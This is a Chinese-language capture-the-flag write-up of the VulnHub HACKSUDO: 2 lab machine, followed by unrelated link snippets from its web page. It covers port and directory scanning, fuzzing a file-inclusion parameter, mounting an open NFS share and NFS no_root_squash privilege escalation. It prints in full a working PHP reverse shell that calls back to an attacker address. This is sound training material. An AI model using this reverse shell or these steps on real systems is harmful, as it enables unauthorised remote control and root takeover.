vulnhub靶场之HACKSUDO: 2 (HACKDUDO)
准备:
攻击机:虚拟机kali、本机win10。
靶机:hacksudo: 2 (HackDudo),下载地址:https://download.vulnhub.com/hacksudo/hackdudo2.rar,下载后直接vbox打开即可。
知识点:ffuf爆破、nfs服务提权、shell反弹。
一:信息收集
1.nmap扫描
使用nmap扫描下靶机地址,命令:nmap -sn 192.168.1.0/24,发现靶机地址:192.168.1.111。
使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.111,显示开放了1337端口、80端口、2049端口等,开启了ssh服务、http服务、nfs服务。
2.目录扫描
使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.111,发现/web、/audio、/file.php等目录和文件。
3.ffuf爆破
对扫描出来的目录进行访问收集信息,在访问:http://192.168.1.111/file.php时,页面提示file access(文件访问),猜测这里存在文件包含漏洞。因此使用ffuf进行爆破,命令:ffuf -w /usr/share/SecLists/Discovery/Web-Content/common.txt -u 'http://192.168.1.111/file.php?FUZZ=../../../../../etc/passwd' -fs 238,成功获得参数file。
利用获得的参数去读取下/etc/passwd文件,查看下当前系统具有哪些账户,发现账户信息:hacksudo。
二:NFS服务
1.nfs服务挂载
NFS,全称Network File System,即网络文件系统。最大的功能是通过网络,让不同的机器、不同的操作系统可以共享彼此的文件。可以理解为本地多了一个虚拟磁盘。那我们就查询下NFS服务器的全部共享目录,命令:showmount -e 192.168.1.111,发现共享目录:/mnt/nfs *,*表示具有所有权限(读写,ro表示只读)。
nfs服务的缺点之一是客户端没有用户认证机制,那我们将该目录挂载到本地kali中,命令:mkdir /mnt/nfs、mount -t nfs 192.168.1.111:/mnt/nfs /mnt/nfs,然后查看该目录信息发现存在一个flag值,读取该文件成功获得flag值。
2.shell反弹
将我们的shell反弹脚本写入到nfs,然后利用http://192.168.1.111/file.php存在的文件包含漏洞访问我们写入的shell反弹文件:http://192.168.1.111/file.php?file=/mnt/nfs/shell.php,成功获得shell权限。
shell反弹脚本
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.83';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
三:提权
找了一圈没找到可以进行提权的点,那就直接上脚本:linpease.sh跑一下,在脚本也没发现好用的漏洞信息,后面想到这台机器开启了nfs服务,就查询了以下nfs提权漏洞,发现当前nfs配置文件中配置:no_root_squash选项时存在提权漏洞,那就查看下nfs配置文件的配置信息,命令:cat /etc/exports。
那我们就利用nfs提权漏洞进行提权,命令:cp /bin/bash . 、chmod +s bash,然后在靶机中通过./bash -p来实现提权至root,我这里是因为kali的bash太高,导致提权失败。
后面就又临时装了一个虚拟机,重新执行上面的命令,成功获得root权限并读取到flag值。
vulnhub靶场之HACKSUDO: 2 (HACKDUDO)的更多相关文章
- vulnhub靶场之HACKSUDO: PROXIMACENTAURI
准备: 攻击机:虚拟机kali.本机win10. 靶机:hacksudo: ProximaCentauri,下载地址:https://download.vulnhub.com/hacksudo/hac ...
- vulnhub靶场之HACKSUDO: THOR
准备: 攻击机:虚拟机kali.本机win10. 靶机:hacksudo: Thor,下载地址:https://download.vulnhub.com/hacksudo/hacksudo---Tho ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
随机推荐
- HTTP身份认证
1.HTTP Basic认证 用户每次发送请求的时候,在请求头中携带能通过认证的身份信息:Authorization: <username>:<password> 1.1 交互 ...
- 安卓蓝牙协议栈中的RFCOMM状态机分析
1.1 数据结构 1.1.1 tRFC_MCB tRFC_MCB(type of rfcomm multiplexor control block的简写)代表了一个多路复用器.代表了RFCOMM规范 ...
- Vue 二维码生成插件
1. 安装 qrcode.vue 仓库地址 // vue2 安装1.x版本.vue3 安装3.x版本 npm install --save qrcode.vue // 或 yarn add qrcod ...
- esxi 6.7手动安装阵列卡驱动()2023-01.03
一.登录vmware后台在兼容性列表里面查找驱动,https://www.vmware.com/resources/compatibility/search.php 二. 下载对应的驱动https:/ ...
- 【逆向】Magniber 勒索软件样本分析
.wiz-editor-body .wiz-code-container { position: relative; padding: 8px 0; margin: 5px 0; text-inden ...
- C的基础常识
C是可移植性语言,因此可以在许多环境中使用,包括UNIX.Linux.MS-DOS.Windows和Macintosh OS. 使用C语言编写的内容的文本,称为源代码文件(source code fi ...
- vue 同一个子组件,两次赋值不同,dom不更新
转自:https://blog.csdn.net/WO_JIAMIFENG/article/details/115250918 <div :key="inputkey"> ...
- 面向对象ooDay9
精华笔记: 多态:多种形态 同一个对象被造型为不同的类型时,有不同的功能-------所有对象都是多态的(明天总结详细讲) 对象的多态:水.我.你...... 同一类型的引用在指向不同的对象时,有不同 ...
- 第二次python作业
#3.1 print("今有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二,问几何?\n") number = int(input("请输入你认为符合条件的数: & ...
- vue项目启动报错问题解决. Module build failed: Error: Node Sass does not yet support your current environment
导入vue项目后,启动报错,异常如下: 1 error in ./src/pages/home.vue 2 Module build failed: Error: Node Sass does not ...